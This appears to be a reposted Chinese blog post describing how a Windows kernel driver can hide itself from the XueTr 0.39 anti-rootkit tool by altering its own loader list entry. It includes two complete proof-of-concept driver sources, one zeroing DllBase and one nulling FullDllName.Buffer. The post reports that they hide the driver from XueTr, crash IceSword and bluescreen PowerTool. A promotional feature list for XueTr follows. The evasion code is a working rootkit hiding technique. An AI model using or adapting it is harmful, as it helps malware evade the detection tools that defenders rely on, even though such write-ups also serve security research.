隐藏驱动,绕过XueTr 0.39检测




By KiDebug May 27
  1. 当系统加载一个驱动时,会为这个驱动建立一个_KLDR_DATA_TABLE_ENTRY结构体,DRIVER_OBJECT结构体的DriverSection成员指向这个结构体。以下是WRK中_KLDR_DATA_TABLE_ENTRY结构体的定义: 

  2. typedef struct _KLDR_DATA_TABLE_ENTRY { 
  3. LIST_ENTRY InLoadOrderLinks; 
  4. PVOID ExceptionTable; 
  5. ULONG ExceptionTableSize; 
  6. // ULONG padding on IA64 
  7. PVOID GpValue; 
  8. PNON_PAGED_DEBUG_INFO NonPagedDebugInfo; 
  9. PVOID DllBase; 
  10. PVOID EntryPoint; 
  11. ULONG SizeOfImage; 
  12. UNICODE_STRING FullDllName; 
  13. UNICODE_STRING BaseDllName; 
  14. ULONG Flags; 
  15. USHORT LoadCount; 
  16. USHORT __Unused5; 
  17. PVOID SectionPointer; 
  18. ULONG CheckSum; 
  19. // ULONG padding on IA64 
  20. PVOID LoadedImports; 
  21. PVOID PatchInformation; 
  22. } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; 
  23. 其中 PVOID DllBase; 成员指明了驱动的加载基址; 
  24. UNICODE_STRING FullDllName;指明了驱动.sys文件的全路径; 
  25. 所有驱动的结构体通过InLoadOrderLinks成员链接起来,链表头部为PsLoadedModuleList,因此可以通过遍历PsLoadedModuleList来得到所有加载的驱动。 

  26. 在测试中发现,如果将某一驱动的DllBase或FullDllName.buffer填为0,那么XueTr就不会显示这个驱动,以下是将DllBase填0时的验证代码: 
  27. /* 
  28. * 【作者:KiDebug】 
  29. * 【空间:http://hi.baidu.com/KiDebug/】 
  30. */ 
  31. #include <ntddk.h> 

  32. //偷懒版,完整版定义见WRK的_KLDR_DATA_TABLE_ENTRY 
  33. typedef struct _LDR_DATA_TABLE_ENTRY { 
  34. LIST_ENTRY InLoadOrderLinks; 
  35. LIST_ENTRY InMemoryOrderLinks; 
  36. LIST_ENTRY InInitializationOrderLinks; 
  37. PVOID DllBase; 
  38. PVOID EntryPoint; 
  39. ULONG SizeOfImage; 
  40. UNICODE_STRING FullDllName; 
  41. UNICODE_STRING BaseDllName; 
  42. }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY; 

  43. PVOID pDllBase; 

  44. VOID Reinitialize( PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count ) 

  45. ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = NULL;//将DllBase填0 


  46. void testUnload(IN PDRIVER_OBJECT DriverObject) 

  47. ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = pDllBase;//恢复DllBase,以便驱动能顺利卸载 


  48. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) 

  49. DriverObject->DriverUnload = testUnload; 
  50. pDllBase = ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase; 
  51. IoRegisterDriverReinitialization(DriverObject,Reinitialize,NULL); 
  52. return STATUS_SUCCESS; 

  53. 用InstDrv.exe加载编译后的驱动test.sys,依次点击安装、启动,然后用XueTr查看“驱动模块”,里面没有test.sys;用IceSword.exe 1.22查看“内核模块”,可以看到test.sys的存在。 


  54. 以下是将FullDllName.buffer填为0时的验证代码: 
  55. /* 
  56. * 【作者:KiDebug】 
  57. * 【空间:http://hi.baidu.com/KiDebug/】 
  58. */ 
  59. #include <ntddk.h> 

  60. //偷懒版,完整版定义见WRK的_KLDR_DATA_TABLE_ENTRY 
  61. typedef struct _LDR_DATA_TABLE_ENTRY { 
  62. LIST_ENTRY InLoadOrderLinks; 
  63. LIST_ENTRY InMemoryOrderLinks; 
  64. LIST_ENTRY InInitializationOrderLinks; 
  65. PVOID DllBase; 
  66. PVOID EntryPoint; 
  67. ULONG SizeOfImage; 
  68. UNICODE_STRING FullDllName; 
  69. UNICODE_STRING BaseDllName; 
  70. }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY; 

  71. void testUnload(IN PDRIVER_OBJECT DriverObject) 



  72. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) 

  73. DriverObject->DriverUnload = testUnload; 
  74. ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->FullDllName.Buffer=NULL; 
  75. return STATUS_SUCCESS; 
  76. }
复制代码
先用InstDrv.exe加载编译后的驱动test.sys,依次点击安装、启动,然后双击打开IceSword.exe 1.22,提示“程序初始化失败,错误代码1”,然后提示“无法初始化,程序退出”;双击打开PowerTool.exe 3.6.2,蓝屏。 
打开XueTr.exe 0.39,查看“驱动模块”,显示有可疑驱动的存在,如果在WinDBG中手动将ntkrnlpa.exe对应的FullDllName.buffer填为0,XueTr不会显示ntkrnlpa.exe的存在。 

浓缩版: 
1:DllBase填0,无可疑驱动 
2:FullDllName.buffer填0,有可疑驱动 
3:XueTr 0.39 
4:没有建立DeviceObject 
XueTr(简称XT)是一个强大的系统信息查看软件,也是一个强大的手工杀毒软件,用它可以方便揪出电脑中的病毒木马,目前它支持32位的2000、XP、2003、Vista、2008、Win7系统。 XueTr的主要功能 1.进程、线程、进程模块、进程窗口、进程内存、定时器、热键信息查看,杀进程、杀线程、卸载模块等功能 2.内核驱动模块查看,支持内核驱动模块的内存拷贝 3.SSDT、Shadow SSDT、FSD、Keyboard、TCPIP、Classpnp、Atapi、Acpi、SCSI、Mouse、IDT、GDT信息查看,并能检测和恢复ssdt hook和inline hook 4.CreateProcess、CreateThread、LoadImage、CmpCallback、BugCheckCallback、Shutdown、Lego等Notify Routine信息查看,并支持对这些Notify Routine的删除 5.端口信息查看,目前不支持2000系统 6.查看消息钩子 7.内核模块的iat、eat、inline hook、patches检测和恢复 8.磁盘、卷、键盘、网络层等过滤驱动检测,并支持删除 9.注册表编辑 10.进程iat、eat、inline hook、patches检测和恢复 11.文件系统查看,支持基本的文件操作 12.查看(编辑)IE插件、SPI、启动项、服务、Host文件、映像劫持、文件关联、系统防火墙规则、IME 13.ObjectType Hook检测和恢复 14.DPC定时器检测和删除 15.MBR Rootkit检测和修复 16.内核对象劫持检测 17.其它一些手工杀毒时需要用到的功能,如修复LSP、修复安全模式等 注意:部分杀毒软件可能会报毒,如有报警请选择放过;请不要新老版本同时使用,否则会导致使用问题,如部分功能不显示(白板)等。 警告:不正当使用此工具极易引起系统崩溃或其它无法预知问题,不推荐无经验者使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值